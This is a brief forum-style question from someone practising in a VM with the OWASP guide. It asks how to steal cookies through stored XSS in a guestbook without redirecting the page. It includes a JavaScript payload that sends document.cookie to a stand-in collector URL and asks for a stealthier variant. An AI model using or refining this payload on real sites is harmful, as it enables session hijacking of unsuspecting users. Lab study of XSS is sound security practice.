I'm practicing in VM following the OWASP guide. I know that is possible to steal the cookie by redirecting to "False" page etc. but I would like to steal the cookie without redirecting on another page.
So, if you have some guestbook and then you put:
document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie
How can I put this into existing page without redirecting?
Basically, what I want is when someone clicks on the link, grab the cookie and print it somewhere on the current page. Maybe in some alt
tag or whatever.
Any ideas?